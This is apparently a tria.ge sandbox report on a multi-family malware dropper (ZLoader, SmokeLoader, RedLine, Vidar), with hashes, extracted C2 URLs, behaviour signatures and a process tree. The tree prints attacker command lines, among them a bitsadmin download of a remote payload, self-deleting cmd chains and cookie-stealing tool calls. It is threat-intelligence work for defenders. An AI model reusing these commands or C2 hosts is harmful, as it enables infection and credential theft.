Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

55CB437568...57.exe

windows7_x64

10

55CB437568...57.exe

windows10_x64

10

Analysis

  • max time kernel
    39s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    16/04/2021, 23:16

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    55CB4375683875666481DC417B20B757.exe

  • Size

    6.7MB

  • MD5

    55cb4375683875666481dc417b20b757

  • SHA1

    a2a4a445ec789ab4410033a484182f334415d0d7

  • SHA256

    4139739d5bfa8330e095a68c658040fb42c75cde651e3baa8afafb4fc557b202

  • SHA512

    17a5fe13e5fa867a5ee34fe5b859636aecba59d552cb5613a02469747205d29c8d4c7ed2b62aa62691155665005e63c43e58768a40e2c4ddbc60cc0d3a2bef34

Score
10/10
elysiumstealerredlinesmokeloadervidarzloadergoogleaktualizacijagoogleaktualizacija2backdoorbotnetdiscoveryevasioninfostealerpersistencespywarestealertrojanupxvmprotect

Malware Config

Extracted

Family

zloader

Botnet

googleaktualizacija

Campaign

googleaktualizacija2

C2

https://iqowijsdakm.com/gate.php

https://wiewjdmkfjn.com/gate.php

https://dksaoidiakjd.com/gate.php

https://iweuiqjdakjd.com/gate.php

https://yuidskadjna.com/gate.php

https://olksmadnbdj.com/gate.php

https://odsakmdfnbs.com/gate.php

https://odsakjmdnhsaj.com/gate.php

https://odjdnhsaj.com/gate.php

https://odoishsaj.com/gate.php
rc4.plain
rsa_pubkey.plain

Extracted

Family

smokeloader

Version

2020

C2

http://999080321newfolder1002002131-service1002.space/

http://999080321newfolder1002002231-service1002.space/

http://999080321newfolder3100231-service1002.space/

http://999080321newfolder1002002431-service1002.space/

http://999080321newfolder1002002531-service1002.space/

http://999080321newfolder33417-012425999080321.space/

http://999080321test125831-service10020125999080321.space/

http://999080321test136831-service10020125999080321.space/

http://999080321test147831-service10020125999080321.space/

http://999080321test146831-service10020125999080321.space/

http://999080321test134831-service10020125999080321.space/

http://999080321est213531-service1002012425999080321.ru/

http://999080321yes1t3481-service10020125999080321.ru/

http://999080321test13561-service10020125999080321.su/

http://999080321test14781-service10020125999080321.info/

http://999080321test13461-service10020125999080321.net/

http://999080321test15671-service10020125999080321.tech/

http://999080321test12671-service10020125999080321.online/

http://999080321utest1341-service10020125999080321.ru/

http://999080321uest71-service100201dom25999080321.ru/
rc4.i32
rc4.i32

Signatures

  • ElysiumStealer

    ElysiumStealer (previously known as ZeromaxStealer) is an info stealer that can steal login credentials for various accounts.

    stealerelysiumstealer
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Zloader, Terdot, DELoader, ZeusSphinx

    Zloader is a malware strain that was initially discovered back in August 2015.

    trojanbotnetzloader
  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

    evasion
  • Drops file in Drivers directory 2 IoCs
  • Executes dropped EXE 42 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • VMProtect packed file 4 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Loads dropped DLL 64 IoCs
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Download via BitsAdmin 1 TTPs 2 IoCs
    dropper
  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 30 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 29 IoCs
  • Modifies registry class 14 IoCs
  • Modifies system certificate store 2 TTPs 14 IoCs
    evasionspywaretrojan
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\services.exe
    C:\Windows\system32\services.exe
    1⤵
      PID:464
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Drops file in Windows directory
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:872
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k SystemNetworkService
        2⤵
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        PID:2064
    • C:\Users\Admin\AppData\Local\Temp\55CB4375683875666481DC417B20B757.exe
      "C:\Users\Admin\AppData\Local\Temp\55CB4375683875666481DC417B20B757.exe"
      1⤵
      • Loads dropped DLL
      • Drops file in Program Files directory
      • Suspicious use of WriteProcessMemory
      PID:1084
      • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe
        "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe"
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Adds Run key to start application
        PID:1500
        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
          3⤵
          • Executes dropped EXE
          PID:2320
        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:2392
      • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe
        "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe"
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Checks processor information in registry
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        PID:1844
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c taskkill /im RunWW.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe" & del C:\ProgramData\*.dll & exit
          3⤵
            PID:2572
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /im RunWW.exe /f
              4⤵
              • Kills process with taskkill
              PID:2676
            • C:\Windows\SysWOW64\timeout.exe
              timeout /t 6
              4⤵
              • Delays execution with timeout.exe
              PID:2940
        • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe
          "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe"
          2⤵
          • Executes dropped EXE
          PID:1764
        • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe
          "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe"
          2⤵
          • Executes dropped EXE
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:1720
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"
            3⤵
              PID:1576
              • C:\Windows\SysWOW64\rundll32.exe
                "C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
                4⤵
                • Loads dropped DLL
                • Modifies registry class
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1932
          • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Three.exe
            "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Three.exe"
            2⤵
            • Executes dropped EXE
            • Modifies system certificate store
            • Suspicious use of AdjustPrivilegeToken
            PID:1520
          • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe
            "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:1156
            • C:\Users\Admin\AppData\Local\Temp\is-1TVI7.tmp\LabPicV3.tmp
              "C:\Users\Admin\AppData\Local\Temp\is-1TVI7.tmp\LabPicV3.tmp" /SL5="$101BA,136934,53248,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:924
              • C:\Users\Admin\AppData\Local\Temp\is-LEDFB.tmp\alpATCHInO.exe
                "C:\Users\Admin\AppData\Local\Temp\is-LEDFB.tmp\alpATCHInO.exe" /S /UID=lab214
                4⤵
                • Drops file in Drivers directory
                • Executes dropped EXE
                • Adds Run key to start application
                • Drops file in Program Files directory
                • Modifies system certificate store
                PID:2524
                • C:\Program Files\DVD Maker\QLJEDZSERA\prolab.exe
                  "C:\Program Files\DVD Maker\QLJEDZSERA\prolab.exe" /VERYSILENT
                  5⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:2420
                  • C:\Users\Admin\AppData\Local\Temp\is-F41VR.tmp\prolab.tmp
                    "C:\Users\Admin\AppData\Local\Temp\is-F41VR.tmp\prolab.tmp" /SL5="$7018E,575243,216576,C:\Program Files\DVD Maker\QLJEDZSERA\prolab.exe" /VERYSILENT
                    6⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Drops file in Program Files directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of FindShellTrayWindow
                    PID:2508
                • C:\Users\Admin\AppData\Local\Temp\69-14d64-6e9-7ae83-c826d6c11dded\Kogaexaebisi.exe
                  "C:\Users\Admin\AppData\Local\Temp\69-14d64-6e9-7ae83-c826d6c11dded\Kogaexaebisi.exe"
                  5⤵
                  • Executes dropped EXE
                  • Modifies system certificate store
                  PID:1684
                  • C:\Program Files\Internet Explorer\iexplore.exe
                    "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
                    6⤵
                    • Modifies Internet Explorer settings
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SetWindowsHookEx
                    PID:2672
                    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2672 CREDAT:275457 /prefetch:2
                      7⤵
                      • Modifies Internet Explorer settings
                      • Suspicious use of SetWindowsHookEx
                      PID:2324
                    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2672 CREDAT:275479 /prefetch:2
                      7⤵
                      • Modifies Internet Explorer settings
                      • Suspicious use of SetWindowsHookEx
                      PID:3180
                      • C:\Windows\SysWOW64\regsvr32.exe
                        regsvr32.exe /s "C:\Users\Admin\AppData\Local\Temp\259295517.exe"
                        8⤵
                          PID:3272
                          • C:\Windows\SysWOW64\msiexec.exe
                            msiexec.exe
                            9⤵
                            • Executes dropped EXE
                            • Suspicious behavior: CmdExeWriteProcessMemorySpam
                            PID:3776
                      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2672 CREDAT:209943 /prefetch:2
                        7⤵
                        • Modifies Internet Explorer settings
                        • Suspicious use of SetWindowsHookEx
                        PID:3412
                      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2672 CREDAT:799766 /prefetch:2
                        7⤵
                          PID:3800
                        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2672 CREDAT:996386 /prefetch:2
                          7⤵
                            PID:3384
                      • C:\Users\Admin\AppData\Local\Temp\4a-0bcee-d31-73794-7afd337dddd9e\Lugaenaeshume.exe
                        "C:\Users\Admin\AppData\Local\Temp\4a-0bcee-d31-73794-7afd337dddd9e\Lugaenaeshume.exe"
                        5⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        PID:2468
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\z03rdr4e.mgz\gpooe.exe & exit
                          6⤵
                            PID:1668
                            • C:\Users\Admin\AppData\Local\Temp\z03rdr4e.mgz\gpooe.exe
                              C:\Users\Admin\AppData\Local\Temp\z03rdr4e.mgz\gpooe.exe
                              7⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Modifies system certificate store
                              • Suspicious behavior: CmdExeWriteProcessMemorySpam
                              PID:1444
                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                8⤵
                                • Executes dropped EXE
                                PID:2280
                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                8⤵
                                • Executes dropped EXE
                                PID:3856
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3lojxwni.1js\google-game.exe & exit
                            6⤵
                              PID:2720
                              • C:\Users\Admin\AppData\Local\Temp\3lojxwni.1js\google-game.exe
                                C:\Users\Admin\AppData\Local\Temp\3lojxwni.1js\google-game.exe
                                7⤵
                                • Executes dropped EXE
                                • Drops file in Program Files directory
                                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                • Suspicious use of SetWindowsHookEx
                                PID:3192
                                • C:\Windows\SysWOW64\rundll32.exe
                                  "C:\Windows\System32\rundll32.exe" "C:\Program Files\patch.dll",patch
                                  8⤵
                                  • Modifies registry class
                                  PID:3256
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vypc1g5p.lh5\askinstall31.exe & exit
                              6⤵
                                PID:3344
                                • C:\Users\Admin\AppData\Local\Temp\vypc1g5p.lh5\askinstall31.exe
                                  C:\Users\Admin\AppData\Local\Temp\vypc1g5p.lh5\askinstall31.exe
                                  7⤵
                                  • Executes dropped EXE
                                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                  PID:3432
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd.exe /c taskkill /f /im chrome.exe
                                    8⤵
                                      PID:3684
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /f /im chrome.exe
                                        9⤵
                                        • Kills process with taskkill
                                        PID:3768
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\f4giqqkt.oh3\setup_10.2_mix.exe & exit
                                  6⤵
                                    PID:3952
                                    • C:\Users\Admin\AppData\Local\Temp\f4giqqkt.oh3\setup_10.2_mix.exe
                                      C:\Users\Admin\AppData\Local\Temp\f4giqqkt.oh3\setup_10.2_mix.exe
                                      7⤵
                                        PID:3288
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd /c ""C:\ProgramData\Microsoft\App\app.bat" "
                                          8⤵
                                            PID:3244
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lngonpfk.hw2\toolspab1.exe & exit
                                        6⤵
                                          PID:3484
                                          • C:\Users\Admin\AppData\Local\Temp\lngonpfk.hw2\toolspab1.exe
                                            C:\Users\Admin\AppData\Local\Temp\lngonpfk.hw2\toolspab1.exe
                                            7⤵
                                              PID:3628
                                              • C:\Users\Admin\AppData\Local\Temp\lngonpfk.hw2\toolspab1.exe
                                                C:\Users\Admin\AppData\Local\Temp\lngonpfk.hw2\toolspab1.exe
                                                8⤵
                                                  PID:3600
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ehori4ow.sdm\GcleanerWW.exe /mixone & exit
                                              6⤵
                                                PID:3560
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2fd04yy4.d0h\SunLabsPlayer.exe /S & exit
                                                6⤵
                                                  PID:1680
                                                  • C:\Users\Admin\AppData\Local\Temp\2fd04yy4.d0h\SunLabsPlayer.exe
                                                    C:\Users\Admin\AppData\Local\Temp\2fd04yy4.d0h\SunLabsPlayer.exe /S
                                                    7⤵
                                                      PID:3184
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd8D62.tmp\tempfile.ps1"
                                                        8⤵
                                                          PID:1800
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd8D62.tmp\tempfile.ps1"
                                                          8⤵
                                                            PID:3132
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd8D62.tmp\tempfile.ps1"
                                                            8⤵
                                                              PID:3864
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd8D62.tmp\tempfile.ps1"
                                                              8⤵
                                                                PID:3840
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd8D62.tmp\tempfile.ps1"
                                                                8⤵
                                                                  PID:2888
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd8D62.tmp\tempfile.ps1"
                                                                  8⤵
                                                                    PID:1624
                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd8D62.tmp\tempfile.ps1"
                                                                    8⤵
                                                                      PID:3772
                                                                    • C:\Windows\SysWOW64\bitsadmin.exe
                                                                      "bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
                                                                      8⤵
                                                                      • Download via BitsAdmin
                                                                      PID:1764
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0hgicomu.5ew\df4e3841.exe & exit
                                                                  6⤵
                                                                    PID:3672
                                                                    • C:\Users\Admin\AppData\Local\Temp\0hgicomu.5ew\df4e3841.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\0hgicomu.5ew\df4e3841.exe
                                                                      7⤵
                                                                        PID:1276
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kfeo5jlr.sik\app.exe /8-2222 & exit
                                                                      6⤵
                                                                        PID:2452
                                                                        • C:\Users\Admin\AppData\Local\Temp\kfeo5jlr.sik\app.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\kfeo5jlr.sik\app.exe /8-2222
                                                                          7⤵
                                                                            PID:3792
                                                                            • C:\Users\Admin\AppData\Local\Temp\kfeo5jlr.sik\app.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\kfeo5jlr.sik\app.exe" /8-2222
                                                                              8⤵
                                                                                PID:3984
                                                                  • C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe
                                                                    "C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    • Loads dropped DLL
                                                                    • Suspicious use of WriteProcessMemory
                                                                    PID:1532
                                                                    • C:\Users\Admin\AppData\Local\Temp\is-I03M8.tmp\lylal220.tmp
                                                                      "C:\Users\Admin\AppData\Local\Temp\is-I03M8.tmp\lylal220.tmp" /SL5="$101B8,298214,214528,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"
                                                                      3⤵
                                                                      • Executes dropped EXE
                                                                      • Loads dropped DLL
                                                                      PID:864
                                                                      • C:\Users\Admin\AppData\Local\Temp\is-H5OM6.tmp\ysAGEL.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\is-H5OM6.tmp\ysAGEL.exe" /S /UID=lylal220
                                                                        4⤵
                                                                        • Drops file in Drivers directory
                                                                        • Executes dropped EXE
                                                                        • Adds Run key to start application
                                                                        • Drops file in Program Files directory
                                                                        PID:2452
                                                                        • C:\Program Files\DVD Maker\QLJEDZSERA\irecord.exe
                                                                          "C:\Program Files\DVD Maker\QLJEDZSERA\irecord.exe" /VERYSILENT
                                                                          5⤵
                                                                          • Executes dropped EXE
                                                                          • Loads dropped DLL
                                                                          PID:3040
                                                                          • C:\Users\Admin\AppData\Local\Temp\is-5E7U6.tmp\irecord.tmp
                                                                            "C:\Users\Admin\AppData\Local\Temp\is-5E7U6.tmp\irecord.tmp" /SL5="$4021C,6139911,56832,C:\Program Files\DVD Maker\QLJEDZSERA\irecord.exe" /VERYSILENT
                                                                            6⤵
                                                                            • Executes dropped EXE
                                                                            • Loads dropped DLL
                                                                            • Drops file in Program Files directory
                                                                            • Suspicious use of FindShellTrayWindow
                                                                            PID:1612
                                                                            • C:\Program Files (x86)\recording\i-record.exe
                                                                              "C:\Program Files (x86)\recording\i-record.exe" -silent -desktopShortcut -programMenu
                                                                              7⤵
                                                                              • Executes dropped EXE
                                                                              • Loads dropped DLL
                                                                              PID:2384
                                                                        • C:\Users\Admin\AppData\Local\Temp\ae-e417e-dc8-78491-d162aa623b2a9\Nuxegihuki.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\ae-e417e-dc8-78491-d162aa623b2a9\Nuxegihuki.exe"
                                                                          5⤵
                                                                          • Executes dropped EXE
                                                                          PID:2412
                                                                          • C:\Program Files\Internet Explorer\iexplore.exe
                                                                            "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
                                                                            6⤵
                                                                              PID:3108
                                                                          • C:\Users\Admin\AppData\Local\Temp\75-0cdd6-19e-669aa-63ec51550f600\ZHonalytoxu.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\75-0cdd6-19e-669aa-63ec51550f600\ZHonalytoxu.exe"
                                                                            5⤵
                                                                            • Executes dropped EXE
                                                                            PID:2900
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\r2xk4a5m.qjj\gpooe.exe & exit
                                                                              6⤵
                                                                                PID:3472
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\a4qkdw4o.zw2\google-game.exe & exit
                                                                                6⤵
                                                                                  PID:3580
                                                                                  • C:\Users\Admin\AppData\Local\Temp\a4qkdw4o.zw2\google-game.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\a4qkdw4o.zw2\google-game.exe
                                                                                    7⤵
                                                                                    • Executes dropped EXE
                                                                                    • Drops file in Program Files directory
                                                                                    • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    PID:3424
                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                      "C:\Windows\System32\rundll32.exe" "C:\Program Files\patch.dll",patch
                                                                                      8⤵
                                                                                      • Modifies registry class
                                                                                      PID:3104
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uhfnkzvb.ch2\askinstall31.exe & exit
                                                                                  6⤵
                                                                                    PID:1784
                                                                                    • C:\Users\Admin\AppData\Local\Temp\uhfnkzvb.ch2\askinstall31.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\uhfnkzvb.ch2\askinstall31.exe
                                                                                      7⤵
                                                                                        PID:3776
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\15yj5ejp.dof\setup_10.2_mix.exe & exit
                                                                                      6⤵
                                                                                        PID:3616
                                                                                        • C:\Users\Admin\AppData\Local\Temp\15yj5ejp.dof\setup_10.2_mix.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\15yj5ejp.dof\setup_10.2_mix.exe
                                                                                          7⤵
                                                                                            PID:3152
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              cmd /c ""C:\ProgramData\Microsoft\App\app.bat" "
                                                                                              8⤵
                                                                                                PID:4020
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nct5zvdj.au5\toolspab1.exe & exit
                                                                                            6⤵
                                                                                              PID:3704
                                                                                              • C:\Users\Admin\AppData\Local\Temp\nct5zvdj.au5\toolspab1.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\nct5zvdj.au5\toolspab1.exe
                                                                                                7⤵
                                                                                                  PID:948
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\nct5zvdj.au5\toolspab1.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\nct5zvdj.au5\toolspab1.exe
                                                                                                    8⤵
                                                                                                      PID:3636
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\w35yggkd.1fm\GcleanerWW.exe /mixone & exit
                                                                                                  6⤵
                                                                                                    PID:3680
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2gmbkigr.um5\SunLabsPlayer.exe /S & exit
                                                                                                    6⤵
                                                                                                      PID:3808
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2gmbkigr.um5\SunLabsPlayer.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\2gmbkigr.um5\SunLabsPlayer.exe /S
                                                                                                        7⤵
                                                                                                          PID:2548
                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsi2637.tmp\tempfile.ps1"
                                                                                                            8⤵
                                                                                                              PID:2848
                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsi2637.tmp\tempfile.ps1"
                                                                                                              8⤵
                                                                                                                PID:1800
                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsi2637.tmp\tempfile.ps1"
                                                                                                                8⤵
                                                                                                                  PID:1636
                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsi2637.tmp\tempfile.ps1"
                                                                                                                  8⤵
                                                                                                                    PID:3080
